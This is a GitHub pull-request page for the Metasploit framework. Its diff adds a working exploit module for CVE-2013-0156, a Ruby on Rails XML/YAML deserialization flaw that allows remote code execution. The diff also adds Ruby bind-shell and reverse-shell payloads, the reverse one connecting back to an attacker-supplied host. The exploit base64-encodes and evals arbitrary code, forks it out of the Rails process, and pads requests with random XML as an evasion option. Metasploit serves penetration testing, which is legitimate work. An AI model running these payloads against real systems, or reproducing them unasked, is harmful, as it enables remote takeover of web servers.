Skip to content

Loading…

Exploit for CVE-2013-0156 and new ruby-platform modules #1282

Merged
merged 8 commits into from

2 participants

@hdm

This PR merges in the work from espe and an anonymous contributor. In addition to adding the RoR exploit, this also introduces new ruby platform modules, which currently emulate standard "shell" payloads.

HD Moore added some commits
@hdm

Unfortunately this method doesn't work against slightly different RoR versions, nor against 2.x.

@hdm hdm closed this
@hdm hdm reopened this
@wchen-r7 wchen-r7 merged commit 0b74f98 into master

1 check passed

Details default The Travis build passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Commits on Jan 10, 2013
  1. Clarify credit

    HD Moore committed
  2. Fix platform/arch

    HD Moore committed
  3. This restores functionality across all rails 3.x

    HD Moore committed
  4. The __END__ trick is no longer needed

    HD Moore committed
  5. Rescue errors and update credits

    HD Moore committed
View
8 lib/msf/core/module/platform.rb
@@ -340,6 +340,14 @@ class Java < Msf::Module::Platform
end
#
+ # Ruby
+ #
+ class Ruby < Msf::Module::Platform
+ Rank = 100
+ Alias = "ruby"
+ end
+
+ #
# Linux
#
class Linux < Msf::Module::Platform
View
2 lib/msf/ui/console/command_dispatcher/exploit.rb
@@ -249,6 +249,7 @@ def self.choose_payload(mod, target)
'java/meterpreter/reverse_tcp',
'php/meterpreter/reverse_tcp',
'php/meterpreter_reverse_tcp',
+ 'ruby/reverse_tcp',
'cmd/unix/interact',
'cmd/unix/reverse',
'cmd/unix/reverse_perl',
@@ -272,4 +273,3 @@ def self.choose_payload(mod, target)
end
end end end end
-
View
4 lib/rex/constants.rb
@@ -82,6 +82,7 @@
ARCH_ARMLE = 'armle'
ARCH_ARMBE = 'armbe'
ARCH_JAVA = 'java'
+ARCH_RUBY = 'ruby'
ARCH_TYPES =
[
ARCH_X86,
@@ -99,7 +100,8 @@
ARCH_CMD,
ARCH_PHP,
ARCH_TTY,
- ARCH_JAVA
+ ARCH_JAVA,
+ ARCH_RUBY
]
ARCH_ALL = ARCH_TYPES
View
155 modules/exploits/multi/http/rails_xml_yaml_code_exec.rb
@@ -0,0 +1,155 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::CmdStagerTFTP
+ include Msf::Exploit::Remote::HttpClient
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Ruby on Rails XML Processor YAML Deserialization Code Execution',
+ 'Description' => %q{
+ This module exploits a remote code execution vulnerability in the XML request
+ processor of the Ruby on Rails application framework. This vulnerability allows
+ an attacker to instantiate a remote object, which in turn can be used to execute
+ any ruby code remotely in the context of the application.
+
+ This module has been tested across multiple versions of RoR 3.x, but does not yet
+ work against 2.x versions of RoR.
+
+ },
+ 'Author' =>
+ [
+ 'charlisome', # PoC
+ 'espes', # PoC and Metasploit module
+ 'lian', # Identified the RouteSet::NamedRouteCollection vector
+ 'hdm' # Module merge/conversion/payload work
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ ['CVE', '2013-0156'],
+ ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/01/09/serialization-mischief-in-ruby-land-cve-2013-0156']
+ ],
+ 'Platform' => 'ruby',
+ 'Arch' => ARCH_RUBY,
+ 'Privileged' => false,
+ 'Targets' => [ ['Automatic', {} ] ],
+ 'DisclosureDate' => 'Jan 7 2013',
+ 'DefaultTarget' => 0))
+
+ register_options(
+ [
+ Opt::RPORT(80),
+ OptString.new('URIPATH', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
+ OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"])
+
+ ], self.class)
+
+ register_evasion_options(
+ [
+ OptBool.new('XML::PadElement', [ true, 'Pad the exploit request with randomly generated XML elements', true])
+ ], self.class)
+ end
+
+
+ #
+ # This stub ensures that the payload runs outside of the Rails process
+ # Otherwise, the session can be killed on timeout
+ #
+ def detached_payload_stub(code)
+ %Q^
+ code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first
+ if RUBY_PLATFORM =~ /mswin|mingw|win32/
+ inp = IO.popen("ruby", "wb") rescue nil
+ if inp
+ inp.write(code)
+ inp.close
+ end
+ else
+ if ! Process.fork()
+ eval(code) rescue nil
+ end
+ end
+ ^.strip.split(/\n/).map{|line| line.strip}.join("\n")
+ end
+
+ #
+ # Create the YAML document that will be embedded into the XML
+ #
+ def build_yaml
+
+ # Embed the payload with the detached stub
+ code = Rex::Text.encode_base64( detached_payload_stub(payload.encoded) )
+ yaml =
+ "--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +
+ "'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +
+ "eval(%[#{code}].unpack(%[m0])[0]);' " +
+ ": !ruby/object:OpenStruct\n table:\n :defaults: {}\n"
+ yaml
+ end
+
+
+ #
+ # Create the XML wrapper with any desired evasion
+ #
+ def build_request
+ xml = ''
+
+ elo = Rex::Text.rand_text_alpha(rand(12)+4)
+
+ if datastore['XML::PadElement']
+ xml << "<#{elo}>"
+
+ 1.upto(rand(1000)+50) do
+ el = Rex::Text.rand_text_alpha(rand(12)+4)
+ tp = ['string', 'integer'][ rand(2) ]
+ xml << "<#{el} type='#{tp}'>"
+ xml << ( tp == "integer" ? Rex::Text.rand_text_numeric(rand(8)+1) : Rex::Text.rand_text_alphanumeric(rand(8)+1) )
+ xml << "</#{el}>"
+ end
+ end
+
+ el = Rex::Text.rand_text_alpha(rand(12)+4)
+ xml << "<#{el} type='yaml'>"
+ xml << build_yaml
+ xml << "</#{el}>"
+
+ if datastore['XML::PadElement']
+ 1.upto(rand(1000)+50) do
+ el = Rex::Text.rand_text_alpha(rand(12)+4)
+ tp = ['string', 'integer'][ rand(2) ]
+ xml << "<#{el} type='#{tp}'>"
+ xml << ( tp == "integer" ? Rex::Text.rand_text_numeric(rand(8)+1) : Rex::Text.rand_text_alphanumeric(rand(8)+1) )
+ xml << "</#{el}>"
+ end
+
+ xml << "</#{elo}>"
+ end
+
+ xml
+ end
+
+ #
+ # Send the actual request
+ #
+ def exploit
+ data = build_request
+ print_status("Sending #{data.length} bytes to #{rhost}:#{rport}...")
+ res = send_request_cgi({
+ 'uri' => datastore['URIPATH'] || "/",
+ 'method' => datastore['HTTP_METHOD'],
+ 'ctype' => 'application/xml',
+ 'data' => data,
+ }, 25)
+ handler
+ end
+end
View
40 modules/payloads/singles/ruby/bind_tcp.rb
@@ -0,0 +1,40 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+require 'msf/core/handler/bind_tcp'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module Metasploit3
+
+ include Msf::Payload::Single
+ include Msf::Sessions::CommandShellOptions
+
+ def initialize(info = {})
+ super(merge_info(info,
+ 'Name' => 'Ruby Command Shell, Bind TCP',
+ 'Description' => 'Continually listen for a connection and spawn a command shell via Ruby',
+ 'Author' => 'kris katterjohn',
+ 'License' => MSF_LICENSE,
+ 'Platform' => 'ruby',
+ 'Arch' => ARCH_RUBY,
+ 'Handler' => Msf::Handler::BindTcp,
+ 'Session' => Msf::Sessions::CommandShell,
+ 'PayloadType' => 'ruby',
+ 'Payload' => { 'Offsets' => {}, 'Payload' => '' }
+ ))
+ end
+
+ def generate
+ return super + ruby_string
+ end
+
+ def ruby_string
+ "require 'socket';s=TCPServer.new(\"#{datastore['LPORT']}\");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end;end"
+ end
+end
View
40 modules/payloads/singles/ruby/bind_tcp_ipv6.rb
@@ -0,0 +1,40 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+require 'msf/core/handler/bind_tcp'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module Metasploit3
+
+ include Msf::Payload::Single
+ include Msf::Sessions::CommandShellOptions
+
+ def initialize(info = {})
+ super(merge_info(info,
+ 'Name' => 'Ruby Command Shell, Bind TCP IPv6',
+ 'Description' => 'Continually listen for a connection and spawn a command shell via Ruby',
+ 'Author' => 'kris katterjohn',
+ 'License' => MSF_LICENSE,
+ 'Platform' => 'ruby',
+ 'Arch' => ARCH_RUBY,
+ 'Handler' => Msf::Handler::BindTcp,
+ 'Session' => Msf::Sessions::CommandShell,
+ 'PayloadType' => 'ruby',
+ 'Payload' => { 'Offsets' => {}, 'Payload' => '' }
+ ))
+ end
+
+ def generate
+ return super + ruby_string
+ end
+
+ def ruby_string
+ "require 'socket';s=TCPServer.new(\"::\",\"#{datastore['LPORT']}\");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end;end"
+ end
+end
View
42 modules/payloads/singles/ruby/reverse_tcp.rb
@@ -0,0 +1,42 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+require 'msf/core/handler/reverse_tcp'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module Metasploit3
+
+ include Msf::Payload::Single
+ include Msf::Sessions::CommandShellOptions
+
+ def initialize(info = {})
+ super(merge_info(info,
+ 'Name' => 'Ruby Command Shell, Reverse TCP',
+ 'Description' => 'Connect back and create a command shell via Ruby',
+ 'Author' => 'kris katterjohn',
+ 'License' => MSF_LICENSE,
+ 'Platform' => 'ruby',
+ 'Arch' => ARCH_RUBY,
+ 'Handler' => Msf::Handler::ReverseTcp,
+ 'Session' => Msf::Sessions::CommandShell,
+ 'PayloadType' => 'ruby',
+ 'Payload' => { 'Offsets' => {}, 'Payload' => '' }
+ ))
+ end
+
+ def generate
+ return super + ruby_string
+ end
+
+ def ruby_string
+ lhost = datastore['LHOST']
+ lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
+ "require 'socket';c=TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end"
+ end
+end
Something went wrong with that request. Please try again.